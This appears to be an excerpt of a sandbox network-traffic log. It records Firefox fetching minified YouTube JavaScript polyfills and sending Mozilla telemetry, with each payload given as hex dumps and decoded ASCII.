2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 65 74 75 72 6e 20 74 68 69 73 2e 5f 5f 73 68 61 64 79 5f 6e 61 74 69 76 65 5f 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 29 7d 7d 2c 55 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 56 61 28 61 29 7b 55 61 5b 61 5d 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 5b 22 5f 5f 73 68 61 64 79 5f 6e 61 74 69 76 65 5f 22 2b 61 5d 7d 7d 66 75 6e 63 74 69 6f 6e 20 57 61 28 61 2c 62 29 7b 42 28 61 2c 62 2c 22 5f 5f 73 68 61 64 79 5f 6e 61 74 69 76 65 5f 22 29 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 62 29 56 61 28 63 29 7d 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 62 3d 76 6f 69 64 20 30 3d 3d 3d 62 3f 5b 5d 3a 62 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 62 5b 63 5d 2c 65 Data Ascii: eturn this.__shady_native_querySelectorAll(a)}},Ua={};function Va(a){Ua[a]=function(b){return b["__shady_native_"+a]}}function Wa(a,b){B(a,b,"__shady_native_");for(var c in b)Va(c)}function E(a,b){b=void 0===b?[]:b;for(var c=0;c<b.length;c++){var d=b[c],e
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 7b 70 61 72 65 6e 74 4e 6f 64 65 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 46 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 46 2e 70 61 72 65 6e 74 4e 6f 64 65 28 29 7d 7d 2c 66 69 72 73 74 43 68 69 6c 64 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 46 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 0a 74 68 69 73 3b 72 65 74 75 72 6e 20 46 2e 66 69 72 73 74 43 68 69 6c 64 28 29 7d 7d 2c 6c 61 73 74 43 68 69 6c 64 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 46 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 46 2e 6c 61 73 74 43 68 69 6c 64 28 29 7d 7d 2c 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 46 2e 63 75 72 72 65 6e 74 4e 6f 64 65 Data Ascii: {parentNode:{get:function(){F.currentNode=this;return F.parentNode()}},firstChild:{get:function(){F.currentNode=this;return F.firstChild()}},lastChild:{get:function(){F.currentNode=this;return F.lastChild()}},previousSibling:{get:function(){F.currentNode
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 2c 22 63 6f 6e 74 61 69 6e 73 22 5d 29 3b 61 3d 7b 66 69 72 73 74 45 6c 65 6d 65 6e 74 43 68 69 6c 64 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 47 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 47 2e 66 69 72 73 74 43 68 69 6c 64 28 29 7d 7d 2c 6c 61 73 74 45 6c 65 6d 65 6e 74 43 68 69 6c 64 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 47 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 47 2e 6c 61 73 74 43 68 69 6c 64 28 29 7d 7d 2c 63 68 69 6c 64 72 65 6e 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 5b 5d 3b 47 2e 63 75 72 72 65 6e 74 4e 6f 64 65 3d 74 68 69 73 3b 66 6f 72 28 76 61 72 20 63 3d 47 2e 66 69 72 73 74 43 68 69 6c 64 28 29 3b 63 3b 29 62 2e 70 75 73 Data Ascii: ,"contains"]);a={firstElementChild:{get:function(){G.currentNode=this;return G.firstChild()}},lastElementChild:{get:function(){G.currentNode=this;return G.lastChild()}},children:{get:function(){var b=[];G.currentNode=this;for(var c=G.firstChild();c;)b.pus
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 2c 62 29 7d 7d 7d 29 29 3b 45 28 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 73 65 74 41 74 74 72 69 62 75 74 65 20 67 65 74 41 74 74 72 69 62 75 74 65 20 68 61 73 41 74 74 72 69 62 75 74 65 20 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 20 74 6f 67 67 6c 65 41 74 74 72 69 62 75 74 65 20 66 6f 63 75 73 20 62 6c 75 72 22 2e 73 70 6c 69 74 28 22 20 22 29 29 3b 45 28 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2c 24 61 29 3b 45 28 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2c 5b 22 66 6f 63 75 73 22 2c 22 62 6c 75 72 22 5d 29 3b 77 69 6e 64 6f 77 2e 48 54 4d 4c 54 65 6d 70 6c 61 74 65 45 6c 65 6d 65 6e 74 26 26 0a 45 28 77 69 6e 64 6f 77 2e 48 Data Ascii: this.setAttribute("class",b)}}}));E(Element.prototype,"setAttribute getAttribute hasAttribute removeAttribute toggleAttribute focus blur".split(" "));E(Element.prototype,$a);E(HTMLElement.prototype,["focus","blur"]);window.HTMLTemplateElement&&E(window.H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.6	50200	142.250.72.110	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:40 UTC	579	OUT	GET /s/desktop/80338919/jsbin/intersection-observer.min.vflset/intersection-observer.min.js HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://www.youtube.com/ Cookie: __Secure-YEC=CgtvTFRlWWFBZDJDYyjLyKGtBjIKCgJERRIEEgAgZg%3D%3D; VISITOR_PRIVACY_METADATA=CgJERRIEEgAgZg%3D%3D; CONSENT=PENDING+188 Sec-Fetch-Dest: script Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-origin
2024-01-17 23:35:40 UTC	686	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 5547 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 29011 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:40 UTC	566	IN	Data Raw: 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 36 20 47 6f 6f 67 6c 65 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 0a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 57 33 43 20 53 4f 46 54 57 41 52 45 20 41 4e 44 20 44 4f 43 55 4d 45 4e 54 20 4e 4f 54 49 43 45 20 41 4e 44 20 4c 49 43 45 4e 53 45 2e 0a 0a 20 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 43 6f 6e 73 6f 72 74 69 75 6d 2f 4c 65 67 61 6c 2f 32 30 31 35 2f 63 6f 70 79 72 69 67 68 74 2d 73 6f 66 74 77 61 72 65 2d 61 6e 64 2d 64 6f 63 75 6d 65 6e 74 0a 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 61 29 7b 74 68 69 73 2e 74 69 6d 65 3d 61 2e 74 69 6d 65 3b 74 68 69 73 2e 74 61 72 67 Data Ascii: /* Copyright 2016 Google Inc. All Rights Reserved. Licensed under the W3C SOFTWARE AND DOCUMENT NOTICE AND LICENSE. https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document*/(function(f,h){function t(a){this.time=a.time;this.targ
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 6e 67 3f 31 3a 30 7d 66 75 6e 63 74 69 6f 6e 20 64 28 61 2c 62 29 7b 62 3d 62 7c 7c 7b 7d 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 63 61 6c 6c 62 61 63 6b 20 6d 75 73 74 20 62 65 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 62 2e 72 6f 6f 74 26 26 31 21 3d 62 2e 72 6f 6f 74 2e 6e 6f 64 65 54 79 70 65 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 72 6f 6f 74 20 6d 75 73 74 20 62 65 20 61 6e 20 45 6c 65 6d 65 6e 74 22 29 3b 0a 74 68 69 73 2e 67 3d 79 28 74 68 69 73 2e 67 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 42 29 3b 74 68 69 73 2e 44 3d 61 3b 74 68 69 73 2e 68 3d 5b 5d 3b 74 68 69 73 2e 69 3d 5b 5d 3b 74 68 69 73 2e 73 3d 74 68 69 73 2e 4c 28 62 2e 72 6f 6f 74 4d 61 72 Data Ascii: ng?1:0}function d(a,b){b=b\|\|{};if("function"!=typeof a)throw Error("callback must be a function");if(b.root&&1!=b.root.nodeType)throw Error("root must be an Element");this.g=y(this.g.bind(this),this.B);this.D=a;this.h=[];this.i=[];this.s=this.L(b.rootMar
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 45 6e 74 72 79 2e 70 72 6f 74 6f 74 79 70 65 29 22 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 22 69 6e 20 66 2e 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 45 6e 74 72 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 66 2e 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 45 6e 74 72 79 2e 70 72 6f 74 6f 74 79 70 65 2c 22 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 30 3c 74 68 69 73 2e 69 6e 74 65 72 73 65 63 74 69 6f 6e 52 61 74 69 6f 7d 7d 29 3b 65 6c 73 65 7b 76 61 72 20 6e 3d 5b 5d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 2e 42 3d 31 30 30 3b 64 Data Ascii: IntersectionObserverEntry.prototype)"isIntersecting"in f.IntersectionObserverEntry.prototype\|\|Object.defineProperty(f.IntersectionObserverEntry.prototype,"isIntersecting",{get:function(){return 0<this.intersectionRatio}});else{var n=[];d.prototype.B=100;d
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 7c 7c 61 5b 31 5d 3b 72 65 74 75 72 6e 20 61 7d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 2e 4b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6c 7c 7c 28 74 68 69 73 2e 6c 3d 21 30 2c 74 68 69 73 2e 6d 3f 74 68 69 73 2e 6f 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 67 2c 74 68 69 73 2e 6d 29 3a 28 75 28 66 2c 22 72 65 73 69 7a 65 22 2c 74 68 69 73 2e 67 2c 21 30 29 2c 75 28 68 2c 22 73 63 72 6f 6c 6c 22 2c 74 68 69 73 2e 67 2c 21 30 29 2c 74 68 69 73 2e 43 26 26 22 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 22 69 6e 20 66 26 26 28 74 68 69 73 2e 6a 3d 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 74 68 69 73 2e 67 29 2c 74 68 69 73 2e 6a 2e 6f 62 73 65 72 76 65 28 68 2c 0a 7b 61 74 74 72 69 62 75 74 65 73 3a 21 30 2c 63 68 Data Ascii: \|\|a[1];return a};d.prototype.K=function(){this.l\|\|(this.l=!0,this.m?this.o=setInterval(this.g,this.m):(u(f,"resize",this.g,!0),u(h,"scroll",this.g,!0),this.C&&"MutationObserver"in f&&(this.j=new MutationObserver(this.g),this.j.observe(h,{attributes:!0,ch
2024-01-17 23:35:40 UTC	1225	IN	Data Raw: 0a 63 2e 6c 65 66 74 29 3b 63 3d 4d 61 74 68 2e 6d 69 6e 28 67 2e 72 69 67 68 74 2c 63 2e 72 69 67 68 74 29 3b 67 3d 63 2d 70 3b 76 61 72 20 78 3d 6c 2d 6b 3b 63 3d 30 3c 3d 67 26 26 30 3c 3d 78 26 26 7b 74 6f 70 3a 6b 2c 62 6f 74 74 6f 6d 3a 6c 2c 6c 65 66 74 3a 70 2c 72 69 67 68 74 3a 63 2c 77 69 64 74 68 3a 67 2c 68 65 69 67 68 74 3a 78 7d 3b 69 66 28 21 63 29 62 72 65 61 6b 7d 61 3d 72 28 61 29 7d 72 65 74 75 72 6e 20 63 7d 7d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 2e 48 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 72 6f 6f 74 29 76 61 72 20 61 3d 6d 28 74 68 69 73 2e 72 6f 6f 74 29 3b 65 6c 73 65 7b 61 3d 68 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 76 61 72 20 62 3d 68 2e 62 6f 64 79 3b 61 3d 7b 74 6f 70 3a 30 2c 6c 65 66 74 3a Data Ascii: c.left);c=Math.min(g.right,c.right);g=c-p;var x=l-k;c=0<=g&&0<=x&&{top:k,bottom:l,left:p,right:c,width:g,height:x};if(!c)break}a=r(a)}return c}};d.prototype.H=function(){if(this.root)var a=m(this.root);else{a=h.documentElement;var b=h.body;a={top:0,left:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.6	50201	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:40 UTC	618	OUT	POST /submit/firefox-desktop/events/1/c5ec7d19-9a53-4bfb-8647-f4814d7fca67 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:39 GMT content-length: 958 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:40 UTC	958	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff cd 56 4d 6f e3 36 10 fd 2f ba ae c7 20 25 ca 96 7c ed a9 e7 a6 e8 a1 28 84 11 35 94 85 c8 94 96 a4 92 18 41 fe 7b 87 f2 47 ec 75 62 04 db 3d 14 08 62 83 9c 79 7c 6f 38 f3 e8 d7 64 ec 6c 5b 75 d6 0c c9 e6 35 f1 f4 3d d9 c8 45 e2 03 ba 50 85 6e 47 c9 26 49 45 9a 81 14 20 f2 07 51 6c 52 f1 4d a4 1b 21 92 45 42 b6 b9 88 51 20 24 c8 e2 81 77 d3 ec 9b 90 87 18 47 e8 07 cb 11 33 e4 34 c6 b4 97 91 1c a7 d9 e0 e3 99 f5 30 3c ee d0 3d 7a 08 c3 d0 d7 e8 a0 21 83 53 1f 20 e6 f1 be 43 ab b7 8c 10 18 2b c4 34 c0 19 25 38 8c fb 64 dd d0 f7 71 fd f7 86 a3 1a 55 98 95 c2 02 50 61 0d 4a 37 0d e0 2a 17 a0 ea ac 58 91 92 98 0a c9 e9 61 3f 46 de b6 db d5 93 87 c3 47 f2 f6 b6 48 b4 7f 82 6e 37 0e 2e 80 a3 9e d9 13 44 fc 61 0a 57 64 c8 62 dd 13 bc Data Ascii: VMo6/ %\|(5A{Gub=by\|o8dl[u5=EPnG&IE QlRM!EBQ $wG340<=z!S C+4%8dqUPaJ7*Xa?FGHn7.DaWdb
2024-01-17 23:35:40 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:40 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.6	50202	142.251.32.118	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:40 UTC	360	OUT	GET /generate_204 HTTP/1.1 Host: i.ytimg.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://www.youtube.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: cross-site
2024-01-17 23:35:40 UTC	203	IN	HTTP/1.1 204 No Content Content-Length: 0 Cross-Origin-Resource-Policy: cross-origin Date: Wed, 17 Jan 2024 23:35:40 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.6	50205	142.250.72.110	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:40 UTC	547	OUT	GET /s/desktop/80338919/jsbin/scheduler.vflset/scheduler.js HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://www.youtube.com/ Cookie: __Secure-YEC=CgtvTFRlWWFBZDJDYyjLyKGtBjIKCgJERRIEEgAgZg%3D%3D; VISITOR_PRIVACY_METADATA=CgJERRIEEgAgZg%3D%3D; CONSENT=PENDING+188 Sec-Fetch-Dest: script Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-origin
2024-01-17 23:35:40 UTC	686	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 9642 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 29011 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:40 UTC	566	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 67 3b 66 75 6e 63 74 69 6f 6e 20 68 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 0a 76 61 72 20 6b 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 Data Ascii: (function(){'use strict';var g;function h(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var k="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)r
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 6d 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 63 3d 6c 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 6e 75 6c 6c 21 3d 62 26 26 6b 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 0a 6d 28 22 53 79 6d 62 6f 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 66 29 7b 69 66 28 74 68 69 73 20 69 6e 73 Data Ascii: unction m(a,b){if(b)a:{var c=l;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&k(c,a,{configurable:!0,writable:!0,value:b})}}m("Symbol",function(a){function b(f){if(this ins
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 4c 69 6b 65 22 29 3b 7d 0a 76 61 72 20 63 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 7d 0a 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 70 3b 0a 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 29 70 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 71 3b 61 3a 7b 76 61 72 20 64 61 3d 7b 61 3a 21 30 7d 2c 72 3d 7b 7d 3b 74 72 79 7b 72 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 64 61 3b 71 3d 72 2e 61 3b 62 72 65 61 6b 20 61 7d Data Ascii: Like");}var ca="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},p;if("function"==typeof Object.setPrototypeOf)p=Object.setPrototypeOf;else{var q;a:{var da={a:!0},r={};try{r.__proto__=da;q=r.a;break a}
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 2e 70 72 6f 74 6f 74 79 70 65 5b 64 5d 3f 63 3d 63 5b 64 5d 3a 63 3d 63 5b 64 5d 3d 7b 7d 3a 63 5b 64 5d 3d 62 7d 0a 3b 76 61 72 20 78 2c 7a 3d 76 28 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 29 2c 41 3d 7a 26 26 7a 5b 36 31 30 34 30 31 33 30 31 5d 3b 78 3d 6e 75 6c 6c 21 3d 41 3f 41 3a 21 31 3b 76 61 72 20 42 2c 43 3d 75 2e 6e 61 76 69 67 61 74 6f 72 3b 42 3d 43 3f 43 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 7c 7c 6e 75 6c 6c 3a 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 44 28 61 29 7b 72 65 74 75 72 6e 20 78 3f 42 3f 42 2e 62 72 61 6e 64 73 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 28 62 3d 62 2e 62 72 61 6e 64 29 26 26 2d 31 21 3d 62 2e 69 6e 64 65 78 4f 66 28 61 29 7d 29 3a 21 31 3a 21 31 7d 0a 66 75 6e 63 74 69 6f 6e Data Ascii: .prototype[d]?c=c[d]:c=c[d]={}:c[d]=b};var x,z=v("CLOSURE_FLAGS"),A=z&&z[610401301];x=null!=A?A:!1;var B,C=u.navigator;B=C?C.userAgentData\|\|null:null;function D(a){return x?B?B.brands.some(function(b){return(b=b.brand)&&-1!=b.indexOf(a)}):!1:!1}function
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 63 66 67 29 3f 76 6f 69 64 20 30 3a 6a 61 2e 64 61 74 61 5f 29 7c 7c 7b 7d 3b 77 28 22 79 74 2e 63 6f 6e 66 69 67 5f 22 2c 4f 29 3b 66 75 6e 63 74 69 6f 6e 20 50 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 20 4f 3f 4f 5b 61 5d 3a 62 7d 0a 3b 66 75 6e 63 74 69 6f 6e 20 6b 61 28 61 2c 62 29 7b 61 3d 50 28 22 45 58 50 45 52 49 4d 45 4e 54 5f 46 4c 41 47 53 22 2c 7b 7d 29 5b 61 5d 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 61 26 26 76 6f 69 64 20 30 21 3d 3d 62 3f 62 3a 4e 75 6d 62 65 72 28 61 7c 7c 30 29 7d 0a 3b 76 61 72 20 6c 61 3d 6b 61 28 22 77 65 62 5f 65 6d 75 6c 61 74 65 64 5f 69 64 6c 65 5f 63 61 6c 6c 62 61 63 6b 5f 64 65 6c 61 79 22 2c 33 30 30 29 2c 6d 61 3d 31 45 33 2f 36 30 2d 33 2c 6e 61 3d 5b 38 2c 35 2c 34 2c 33 2c 32 2c 31 2c Data Ascii: cfg)?void 0:ja.data_)\|\|{};w("yt.config_",O);function P(a,b){return a in O?O[a]:b};function ka(a,b){a=P("EXPERIMENT_FLAGS",{})[a];return void 0===a&&void 0!==b?b:Number(a\|\|0)};var la=ka("web_emulated_idle_callback_delay",300),ma=1E3/60-3,na=[8,5,4,3,2,1,
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 28 61 2c 62 29 2c 61 2e 44 3b 76 61 72 20 65 3d 61 2e 44 3b 61 2e 68 5b 65 5d 3d 62 3b 61 2e 6c 26 26 21 64 3f 61 2e 75 2e 70 75 73 68 28 7b 69 64 3a 65 2c 70 72 69 6f 72 69 74 79 3a 63 7d 29 3a 28 61 2e 69 5b 63 5d 2e 70 75 73 68 28 65 29 2c 61 2e 43 7c 7c 61 2e 6c 7c 7c 28 30 21 3d 3d 61 2e 67 26 26 54 28 61 29 21 3d 3d 61 2e 6d 26 26 55 28 61 29 2c 61 2e 73 74 61 72 74 28 29 29 29 3b 72 65 74 75 72 6e 20 65 7d 0a 66 75 6e 63 74 69 6f 6e 20 74 61 28 61 29 7b 61 2e 75 2e 6c 65 6e 67 74 68 3d 30 3b 66 6f 72 28 76 61 72 20 62 3d 35 3b 30 3c 3d 62 3b 62 2d 2d 29 61 2e 69 5b 62 5d 2e 6c 65 6e 67 74 68 3d 30 3b 61 2e 69 5b 38 5d 2e 6c 65 6e 67 74 68 3d 30 3b 61 